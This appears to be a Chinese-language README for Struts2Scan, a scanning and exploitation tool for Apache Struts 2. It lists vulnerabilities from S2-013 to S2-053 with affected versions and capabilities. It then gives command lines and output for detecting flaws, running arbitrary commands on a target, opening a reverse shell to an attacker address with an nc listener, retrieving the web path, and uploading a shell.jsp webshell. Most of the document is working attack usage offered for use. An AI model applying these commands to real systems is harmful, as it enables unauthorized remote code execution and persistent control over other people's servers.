S2-013/S2-014:影響版本Struts 2.0.0-2.3.14.1; GET請求發送數據; 支持獲取WEB路徑,任意命令執行,反彈shell和文件上傳[ ] S2-015:影響版本Struts 2.0.0-2.3.14.2; GET請求發送數據; 支持任意命令執行和反彈shell[ ] S2-016:影響版本Struts 2.0.0-2.3.15; GET請求發送數據; 支持獲取WEB路徑,任意命令執行,反彈shell和文件上傳[ ] S2-019:影響版本Struts 2.0.0-2.3.15.1; GET請求發送數據; 支持獲取WEB路徑,任意命令執行,反彈shell和文件上傳[ ] S2-029:影響版本Struts 2.0.0-2.3.24.1(除了2.3.20.3); POST請求發送數據,需要參數; 默認參數:message; 支持任意命令執行和反彈shell[ ] S2-032:影響版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET請求發送數據; 支持獲取WEB路徑,任意命令執行和反彈shell[ ] S2-033:影響版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET請求發送數據; 支持任意命令執行和反彈shell[ ] S2-037:影響版本Struts 2.3.20-2.3.28.1; GET請求發送數據; 支持獲取WEB路徑,任意命令執行和反彈shell[ ] S2-045:影響版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST請求發送數據,不需要參數; 支持獲取WEB路徑,任意命令執行,反彈shell和文件上傳[ ] S2-046:影響版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST請求發送數據,不需要參數; 支持獲取WEB路徑,任意命令執行,反彈shell和文件上傳[ ] S2-048:影響版本Struts 2.3.x with Struts 1 plugin and Struts 1 action; POST請求發送數據; 默認參數為:username,password; 支持任意命令執行和反彈shell[ ] S2-053:影響版本Struts 2.0.1-2.3.33,2.5-2.5.10; POST請求發送數據; 默認參數為:username,password; 支持任意命令執行和反彈shell[ ] S2-devMode:影響版本Struts 2.1.0-2.3.1; GET請求發送數據; 支持獲取WEB路徑,任意命令執行和反彈shell
單個URL漏洞檢測:
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy [ ] 正在掃描URL:http://192.168.100.8:8080/index.action[*] ----------------results------------------[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-046[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-016[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-045[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-015[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-009[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-012
批量漏洞檢測:
$ python3 Struts2Scan.py -f urls.txt
POST數據:
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -d name=admin&email=admin&age={exp}
指定漏洞名稱利用:
# 命令執行$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --exec ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy >>>ls -latotal 136drwxr-sr-x 1 root staff 4096 May 5 2017 .drwxrwsr-x 1 root staff 4096 May 5 2017 ..-rw-r----- 1 root root 57092 Apr 13 2017 LICENSE-rw-r----- 1 root root 1723 Apr 13 2017 NOTICE-rw-r----- 1 root root 7064 Apr 13 2017 RELEASE-NOTES-rw-r----- 1 root root 15946 Apr 13 2017 RUNNING.txtdrwxr-x--- 1 root root 4096 May 5 2017 bindrwx--S--- 1 root root 4096 Jul 12 14:54 confdrwxr-sr-x 3 root staff 4096 May 5 2017 includedrwxr-x--- 2 root root 4096 May 5 2017 libdrwxr-x--- 1 root root 4096 Jul 12 14:54 logsdrwxr-sr-x 3 root staff 4096 May 5 2017 native-jni-libdrwxr-x--- 2 root root 4096 May 5 2017 tempdrwxr-x--- 1 root root 4096 Jul 12 14:54 webappsdrwxr-x--- 1 root root 4096 Jul 12 14:54 work>>># 反彈shll$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --reverse 192.168.100.8:8888 ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy [*] 請在反彈地址處監聽端口如: nc -lvvp 8080# 獲取WEB路徑$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --webpath ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy [*] /usr/local/tomcat/webapps/ROOT/# 上傳shell$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --upfile shell.jsp --uppath /usr/local/tomcat/webapps/ROOT/shell.jsp ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy [ ] 文件上傳成功!
項目下載地址:https://github.com/HatBoy/Struts2-Scan